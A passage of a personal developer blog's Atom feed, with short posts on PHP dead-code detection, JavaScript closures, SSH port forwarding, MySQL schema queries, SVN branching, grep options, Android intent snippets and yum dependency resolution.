href='http://www.blogger.com/feeds/18344261/posts/default/7508812090504151228'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/09/cool-game-that-i-won.html' title='A good recent game that I won.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-5474881911597874620</id><published>2011-08-26T04:57:00.001-07:00</published><updated>2011-08-26T04:57:53.946-07:00</updated><title type='text'>Detecting php duplicate and unused code.</title><content type='html'>One of the project that I had to work on recently was huge and written over by developers who were working intermittently on it with very short deadlines. Hence the code had duplicate code, dead functions which were never used. It needed re-factoring badly. &lt;div&gt;  &lt;br&gt;&lt;/div&gt;&lt;div&gt;I found the below tool which helped us a lot in identifying duplicate and dead code. &lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;strong&gt;&lt;a href="https://github.com/sebastianbergmann/phpcpd"&gt;phpcpd &lt;/a&gt;- &lt;/strong&gt;for identifying and detecting duplicate code. (php copy paste detector)&lt;/div&gt;  &lt;div&gt;&lt;strong&gt;&lt;a href="https://github.com/sebastianbergmann/phpdcd"&gt;phpdcd &lt;/a&gt;- &lt;/strong&gt;for identifying and detecting dead code. (php dead code detector)&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-5474881911597874620?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/5474881911597874620/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=5474881911597874620' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/5474881911597874620'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/5474881911597874620'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/08/detecting-php-duplicate-and-unused-code.html' title='Detecting php duplicate and unused code.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-7719166298144489143</id><published>2011-08-17T16:56:00.001-07:00</published><updated>2011-11-09T05:38:04.433-08:00</updated><title type='text'>javascript functions.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Every function in javascript has:&lt;br /&gt;- this (the current object on which it is using&amp;nbsp; - if no object is used and the function is just called like that it uses window object as this)&lt;br /&gt;- scope (all the variables that are defined with in the scope of this function and its parents are accessible via this scope).&lt;br /&gt;- Functions have lexical scope, ie scope is defined when the function is defined. However as soon as the function is called, the scope is used to assign the latest values to the variables used in the function. This is how closures work.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-7719166298144489143?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/7719166298144489143/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=7719166298144489143' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7719166298144489143'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7719166298144489143'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/08/javascript-functions.html' title='javascript functions.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-323612859165702445</id><published>2011-01-30T23:49:00.001-08:00</published><updated>2011-01-30T23:49:49.346-08:00</updated><title type='text'>Create tunnel via the ssh command in linux.</title><content type='html'>For windows you can configure putty with the tunnel.&lt;p&gt;&lt;br&gt;For linux use the following command.&lt;p&gt;ssh -i &amp;lt;yourkeyfile&amp;gt; -f &lt;a href="mailto:user@personal-server.com"&gt;user@personal-server.com&lt;/a&gt; -L&lt;br&gt;2000:&lt;a href="http://personal-server.com:25"&gt;personal-server.com:25&lt;/a&gt; -N&lt;p&gt;The -f tells ssh to go into the background just before it executes the&lt;br&gt;command. This is followed by the username and server you are logging&lt;br&gt;into. The -L 2000:&lt;a href="http://personal-server.com:25"&gt;personal-server.com:25&lt;/a&gt; is in the form of -L&lt;br&gt;local-port:host:remote-port. Finally the -N instructs OpenSSH to not&lt;br&gt;execute a command on the remote system.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-323612859165702445?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/323612859165702445/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=323612859165702445' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/323612859165702445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/323612859165702445'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/01/create-tunnel-via-ssh-command-in-linux.html' title='Create tunnel via the ssh command in linux.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-3715869553515709518</id><published>2011-01-19T00:34:00.001-08:00</published><updated>2011-01-19T00:34:38.937-08:00</updated><title type='text'>Find tables which are empty in database.</title><content type='html'>&lt;b&gt;Find tables which are empty in database&lt;/b&gt; use the following query&lt;br&gt;&lt;br&gt;SELECT `TABLE_NAME` FROM `TABLES` where `TABLE_SCHEMA` = &amp;#39;&amp;lt;your db schema name&amp;gt;&amp;#39; and `TABLE_ROWS` = 0 or `TABLE_ROWS` is null;&lt;br&gt;  &lt;br&gt;&lt;b&gt;Find tables which have MyISAM engine in database &lt;/b&gt;use the following query. &lt;br&gt;&lt;br&gt;SELECT `TABLE_NAME`,`ENGINE` FROM `TABLES` where `TABLE_SCHEMA` = &amp;#39;&amp;lt;your db schema name&amp;gt;&amp;#39; and `ENGINE` = &amp;#39;MyISAM&amp;#39;&lt;br&gt;   &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-3715869553515709518?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/3715869553515709518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=3715869553515709518' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/3715869553515709518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/3715869553515709518'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/01/find-tables-which-are-empty-in-database.html' title='Find tables which are empty in database.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-1369596215791088100</id><published>2010-12-21T05:53:00.000-08:00</published><updated>2010-12-21T05:54:06.480-08:00</updated><title type='text'>Svn branching strategies.</title><content type='html'>I was often baffled by the different process that people follow while adopting svn for their work. Came across this &lt;a href="http://blogs.open.collab.net/svn/2007/11/branching-strat.html"&gt;link&lt;/a&gt; &lt;br&gt;&lt;br&gt;Here are the process that they follow&lt;br&gt;  &lt;ul&gt;&lt;li&gt;Unstable trunk&lt;/li&gt;&lt;li&gt;Stable trunk&lt;/li&gt;&lt;li&gt;Agile release strategy &lt;/li&gt;&lt;/ul&gt;For the projects that we work at &lt;a href="http://www.scubian.com"&gt;scube&lt;/a&gt;, we followed Unstable trunk. However seems like Stable trunk is better strategy and a default strategy incase you are using git ?. I think it would help in automating the build process better as you always check out from trunk instead of a different branch every-time (esp for point releases). &lt;br&gt;  &lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-1369596215791088100?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/1369596215791088100/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=1369596215791088100' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/1369596215791088100'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/1369596215791088100'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2010/12/svn-branching-strategies.html' title='Svn branching strategies.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-8665029748751439038</id><published>2010-12-07T03:33:00.000-08:00</published><updated>2010-12-07T03:34:14.637-08:00</updated><title type='text'>Excellent tutorial on linux usermanagement and sudo.</title><content type='html'>Just went through this excellent tutorial on linux user management and sudo permission management. And then my admin left over a window with root permissions :). And I would no longer need his window, ofcourse I would handle things with care. I hate restrictions ;)&lt;br&gt;  &lt;br&gt;&lt;a href="http://www.linuxhomenetworking.com/wiki/index.php/Quick_HOWTO_:_Ch09_:_Linux_Users_and_Sudo"&gt;http://www.linuxhomenetworking.com/wiki/index.php/Quick_HOWTO_:_Ch09_:_Linux_Users_and_Sudo&lt;/a&gt;&lt;br&gt;&lt;br clear="all"&gt;  Thanks &amp;amp; Regards&lt;br&gt;Saiprasad Rakasi&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-8665029748751439038?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/8665029748751439038/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=8665029748751439038' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/8665029748751439038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/8665029748751439038'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2010/12/excellent-tutorial-on-linux.html' title='Excellent tutorial on linux usermanagement and sudo.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-7690981099659281850</id><published>2010-11-21T04:00:00.001-08:00</published><updated>2010-11-21T04:00:48.386-08:00</updated><title type='text'>Using Grep to search in files</title><content type='html'>&lt;br&gt;&lt;b&gt;grep -inIEr --color=ALWAYS -C1  --include=&amp;quot;*.php&amp;quot; &amp;quot;Foo.*=&amp;quot; source/code/directory/&lt;/b&gt;&lt;br&gt;&lt;br&gt;&amp;quot;i&amp;quot; means that the search is going to be case-insensitive.&lt;br&gt;&amp;quot;n&amp;quot; asks the tool to print the line number next to each match&lt;br&gt;  &amp;quot;I&amp;quot; means grep uses some impressive guesswork to figure out which files are binary not text, and skips matching those&lt;br&gt;&amp;quot;E&amp;quot; tells the tool to treat the pattern as a Posix extended regular expression, since the default of basic is very limited in what you can express.&lt;br&gt;  &amp;quot;r&amp;quot; prepares the tool to look at all the files and sub-folders within the main directory you specify&lt;br&gt;--color option causes the matched parts of the result lines to be highlighted in color&lt;br&gt;-C1 means print 1 line above and below the matched line&lt;br&gt;  --include option makes grep look in files only ending in the pattern provided.&lt;br&gt;&lt;br&gt;Found this really impressive snippet here  Linux command line rocks :)&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-7690981099659281850?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/7690981099659281850/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=7690981099659281850' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7690981099659281850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7690981099659281850'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2010/11/using-grep-to-search-in-files.html' title='Using Grep to search in files'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-7907446833021124066</id><published>2010-10-19T07:04:00.000-07:00</published><updated>2010-10-19T07:05:14.972-07:00</updated><title type='text'>Android implicit intents various intents creation code.</title><content type='html'>&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//show webapp:&lt;/div&gt;&lt;div&gt;Uri uri = Uri.parse(&amp;quot;&lt;a href="http://www.google.com" target="_blank"&gt;http://www.google.com&lt;/a&gt;&amp;quot;);&lt;/div&gt;&lt;div&gt;Intent it  = new Intent(Intent.ACTION_VIEW,uri);&lt;/div&gt;&lt;div&gt;  startActivity(it);&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//show maps:&lt;/div&gt;&lt;div&gt;Uri uri = Uri.parse(&amp;quot;geo:38.899533,-77.036476&amp;quot;);&lt;/div&gt;&lt;div&gt;Intent it = new Intent(Intent.Action_VIEW,uri);&lt;/div&gt;&lt;div&gt;startActivity(it); &lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//show ways&lt;/div&gt;   &lt;div&gt;Uri uri = Uri.parse(&amp;quot;&lt;a href="http://maps.google.com/maps?f=d&amp;amp;saddr=startLat%20startLng&amp;amp;daddr=endLat%20endLng&amp;amp;hl=en" target="_blank"&gt;http://maps.google.com/maps?f=d&amp;amp;amp;saddr=startLat%20startLng&amp;amp;amp;daddr=endLat%20endLng&amp;amp;amp;hl=en&lt;/a&gt;&amp;quot;);&lt;/div&gt;   &lt;div&gt;Intent it = new Intent(Intent.ACTION_VIEW,URI);&lt;/div&gt;&lt;div&gt;startActivity(it);&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//call dial program&lt;/div&gt;&lt;div&gt;Uri uri = Uri.parse(&amp;quot;tel:xxxxxx&amp;quot;);&lt;/div&gt;&lt;div&gt;Intent it = new Intent(Intent.ACTION_DIAL, uri);  &lt;/div&gt;   &lt;div&gt;startActivity(it);  &lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Uri uri = Uri.parse(&amp;quot;tel.xxxxxx&amp;quot;);&lt;/div&gt;&lt;div&gt;Intent it =new Intent(Intent.ACTION_CALL,uri);&lt;/div&gt;&lt;div&gt;//don&amp;#39;t forget add this config:&amp;lt;uses-permission id=&amp;quot;android.permission.CALL_PHONE&amp;quot; /&amp;gt;&lt;/div&gt;   &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//send sms/mms&lt;/div&gt;&lt;div&gt;//call sender program&lt;/div&gt;&lt;div&gt;Intent it = new Intent(Intent.ACTION_VIEW);   &lt;/div&gt;&lt;div&gt;it.putExtra(&amp;quot;sms_body&amp;quot;, &amp;quot;The SMS text&amp;quot;);   &lt;/div&gt;&lt;div&gt;it.setType(&amp;quot;vnd.android-dir/mms-sms&amp;quot;);   &lt;/div&gt;   &lt;div&gt;startActivity(it);  &lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//send sms&lt;/div&gt;&lt;div&gt;Uri uri = Uri.parse(&amp;quot;smsto:0800000123&amp;quot;);   &lt;/div&gt;&lt;div&gt;Intent it = new Intent(Intent.ACTION_SENDTO, uri);   &lt;/div&gt;&lt;div&gt;it.putExtra(&amp;quot;sms_body&amp;quot;, &amp;quot;The SMS text&amp;quot;);   &lt;/div&gt;   &lt;div&gt;startActivity(it);  &lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//send mms&lt;/div&gt;&lt;div&gt;Uri uri = Uri.parse(&amp;quot;content://media/external/images/media/23&amp;quot;);   &lt;/div&gt;&lt;div&gt;Intent it = new Intent(Intent.ACTION_SEND);   &lt;/div&gt;&lt;div&gt;it.putExtra(&amp;quot;sms_body&amp;quot;, &amp;quot;some text&amp;quot;);   &lt;/div&gt;   &lt;div&gt;it.putExtra(Intent.EXTRA_STREAM, uri);   &lt;/div&gt;&lt;div&gt;it.setType(&amp;quot;image/png&amp;quot;);   &lt;/div&gt;&lt;div&gt;startActivity(it); &lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//send email&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;Uri uri = Uri.parse(&amp;quot;mailto:&lt;a href="mailto:xxx@abc.com" target="_blank"&gt;xxx@abc.com&lt;/a&gt;&amp;quot;);&lt;/div&gt;   &lt;div&gt;Intent it = new Intent(Intent.ACTION_SENDTO, uri);&lt;/div&gt;&lt;div&gt;startActivity(it);&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Intent it = new Intent(Intent.ACTION_SEND);   &lt;/div&gt;&lt;div&gt;it.putExtra(Intent.EXTRA_EMAIL, &amp;quot;&lt;a href="mailto:me@abc.com" target="_blank"&gt;me@abc.com&lt;/a&gt;&amp;quot;);   &lt;/div&gt;   &lt;div&gt;it.putExtra(Intent.EXTRA_TEXT, &amp;quot;The email body text&amp;quot;);   &lt;/div&gt;&lt;div&gt;it.setType(&amp;quot;text/plain&amp;quot;);   &lt;/div&gt;&lt;div&gt;startActivity(Intent.createChooser(it, &amp;quot;Choose Email Client&amp;quot;));  &lt;/div&gt;&lt;div&gt;&lt;br&gt;   &lt;/div&gt;&lt;div&gt;Intent it=new Intent(Intent.ACTION_SEND);     &lt;/div&gt;&lt;div&gt;String[] tos={&amp;quot;&lt;a href="mailto:me@abc.com" target="_blank"&gt;me@abc.com&lt;/a&gt;&amp;quot;};     &lt;/div&gt;&lt;div&gt;String[] ccs={&amp;quot;&lt;a href="mailto:you@abc.com" target="_blank"&gt;you@abc.com&lt;/a&gt;&amp;quot;};     &lt;/div&gt;   &lt;div&gt;it.putExtra(Intent.EXTRA_EMAIL, tos);     &lt;/div&gt;&lt;div&gt;it.putExtra(Intent.EXTRA_CC, ccs);     &lt;/div&gt;&lt;div&gt;it.putExtra(Intent.EXTRA_TEXT, &amp;quot;The email body text&amp;quot;);     &lt;/div&gt;&lt;div&gt;it.putExtra(Intent.EXTRA_SUBJECT, &amp;quot;The email subject text&amp;quot;);     &lt;/div&gt;   &lt;div&gt;it.setType(&amp;quot;message/rfc822&amp;quot;);     &lt;/div&gt;&lt;div&gt;startActivity(Intent.createChooser(it, &amp;quot;Choose Email Client&amp;quot;));   &lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//add extra&lt;/div&gt;&lt;div&gt;Intent it = new Intent(Intent.ACTION_SEND);   &lt;/div&gt;   &lt;div&gt;it.putExtra(Intent.EXTRA_SUBJECT, &amp;quot;The email subject text&amp;quot;);   &lt;/div&gt;&lt;div&gt;it.putExtra(Intent.EXTRA_STREAM, &amp;quot;file:///sdcard/mysong.mp3&amp;quot;);   &lt;/div&gt;&lt;div&gt;sendIntent.setType(&amp;quot;audio/mp3&amp;quot;);   &lt;/div&gt;   &lt;div&gt;startActivity(Intent.createChooser(it, &amp;quot;Choose Email Client&amp;quot;));&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//play media&lt;/div&gt;&lt;div&gt;Intent it = new Intent(Intent.ACTION_VIEW);&lt;/div&gt;&lt;div&gt;Uri uri = Uri.parse(&amp;quot;file:///sdcard/song.mp3&amp;quot;);&lt;/div&gt;   &lt;div&gt;it.setDataAndType(uri, &amp;quot;audio/mp3&amp;quot;);&lt;/div&gt;&lt;div&gt;startActivity(it);&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Uri uri = Uri.withAppendedPath(MediaStore.Audio.Media.INTERNAL_CONTENT_URI, &amp;quot;1&amp;quot;);   &lt;/div&gt;&lt;div&gt;Intent it = new Intent(Intent.ACTION_VIEW, uri);   &lt;/div&gt;   &lt;div&gt;startActivity(it);  &lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//Uninstall&lt;/div&gt;&lt;div&gt;Uri uri = Uri.fromParts(&amp;quot;package&amp;quot;, strPackageName, null);   &lt;/div&gt;&lt;div&gt;Intent it = new Intent(Intent.ACTION_DELETE, uri);   &lt;/div&gt;&lt;div&gt;startActivity(it);&lt;/div&gt;   &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//uninstall apk&lt;/div&gt;&lt;div&gt;Uri uninstallUri = Uri.fromParts(&amp;quot;package&amp;quot;, &amp;quot;xxx&amp;quot;, null);&lt;/div&gt;&lt;div&gt;returnIt = new Intent(Intent.ACTION_DELETE, uninstallUri);&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//install apk&lt;/div&gt;   &lt;div&gt;Uri installUri = Uri.fromParts(&amp;quot;package&amp;quot;, &amp;quot;xxx&amp;quot;, null);&lt;/div&gt;&lt;div&gt;returnIt = new Intent(Intent.ACTION_PACKAGE_ADDED, installUri);&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//play audio&lt;/div&gt;&lt;div&gt;Uri playUri = Uri.parse(&amp;quot;file:///sdcard/download/everything.mp3&amp;quot;);&lt;/div&gt;   &lt;div&gt;returnIt = new Intent(Intent.ACTION_VIEW, playUri);&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//send extra&lt;/div&gt;&lt;div&gt;Intent it = new Intent(Intent.ACTION_SEND);  &lt;/div&gt;&lt;div&gt;it.putExtra(Intent.EXTRA_SUBJECT, &amp;quot;The email subject text&amp;quot;);  &lt;/div&gt;   &lt;div&gt;it.putExtra(Intent.EXTRA_STREAM, &amp;quot;file:///sdcard/eoe.mp3&amp;quot;);  &lt;/div&gt;&lt;div&gt;sendIntent.setType(&amp;quot;audio/mp3&amp;quot;);  &lt;/div&gt;&lt;div&gt;startActivity(Intent.createChooser(it, &amp;quot;Choose Email Client&amp;quot;));&lt;/div&gt;   &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//search&lt;/div&gt;&lt;div&gt;Uri uri = Uri.parse(&amp;quot;market://search?q=pname:pkg_name&amp;quot;);  &lt;/div&gt;&lt;div&gt;Intent it = new Intent(Intent.ACTION_VIEW, uri);  &lt;/div&gt;&lt;div&gt;startActivity(it);  &lt;/div&gt;&lt;div&gt;//where pkg_name is the full package path for an application  &lt;/div&gt;   &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//show program detail page&lt;/div&gt;&lt;div&gt;Uri uri = Uri.parse(&amp;quot;market://details?id=app_id&amp;quot;);  &lt;/div&gt;&lt;div&gt;Intent it = new Intent(Intent.ACTION_VIEW, uri);  &lt;/div&gt;&lt;div&gt;startActivity(it);  &lt;/div&gt;&lt;div&gt;   //where app_id is the application ID, find the ID  &lt;/div&gt;&lt;div&gt;//by clicking on your application on Market home  &lt;/div&gt;&lt;div&gt;//page, and notice the ID from the address bar&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;//search google&lt;/div&gt;   &lt;div&gt;Intent intent = new Intent();&lt;/div&gt;&lt;div&gt;intent.setAction(Intent.ACTION_WEB_SEARCH);&lt;/div&gt;&lt;div&gt;intent.putExtra(SearchManager.QUERY,&amp;quot;searchString&amp;quot;)&lt;/div&gt;&lt;div&gt;startActivity(intent);&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;  &lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-7907446833021124066?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/7907446833021124066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=7907446833021124066' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7907446833021124066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7907446833021124066'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2010/10/android-implicit-intents-various.html' title='Android implicit intents various intents creation code.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-7782025616394665587</id><published>2010-09-14T04:13:00.000-07:00</published><updated>2010-09-14T04:14:13.758-07:00</updated><title type='text'>Find the unused selectors in a webpage.</title><content type='html'>Often was facing a problem with slow page loading and CSS contributed to it. Found this incredible tool from site point. &lt;a href="http://www.sitepoint.com/dustmeselectors/ui/"&gt;http://www.sitepoint.com/dustmeselectors/ui/&lt;/a&gt; now you can find the unused selectors in your site, the tool spits out the same in csv format. So cool. &lt;br&gt;  &lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-7782025616394665587?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/7782025616394665587/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=7782025616394665587' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7782025616394665587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7782025616394665587'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2010/09/find-unused-selectors-in-webpage.html' title='Find the unused selectors in a webpage.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-4977379266504412139</id><published>2010-09-06T02:25:00.001-07:00</published><updated>2010-09-11T08:14:15.825-07:00</updated><title type='text'>Installing missing dependencies redhat / fedora / centos</title><content type='html'>When you try to install a rpm on the fedora/centos. It sometimes says&lt;br /&gt;missing dependencies. Earlier I used to try "Yum install&lt;br /&gt;&amp;lt;dependencyname&amp;gt;" which most of the time does not used to work.&lt;br /&gt;Today I discovered that it is not because they are not available but&lt;br /&gt;they are provided as a bundle with some other package. Hence the&lt;br /&gt;correct way is to do "yum provides &amp;lt;dependencyname&amp;gt;" which would then&lt;br /&gt;list the actual package that you need to install to get this&lt;br /&gt;dependency.&lt;br /&gt;&lt;br /&gt;Edit: Even simpler is to do "yum localinstall &amp;nbsp;&lt;rpm path=""&gt;" the dependencies are auto installed by yum&amp;nbsp;&lt;/rpm&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-4977379266504412139?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/4977379266504412139/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=4977379266504412139' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/4977379266504412139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/4977379266504412139'/><link rel='alternate' type='text/html' 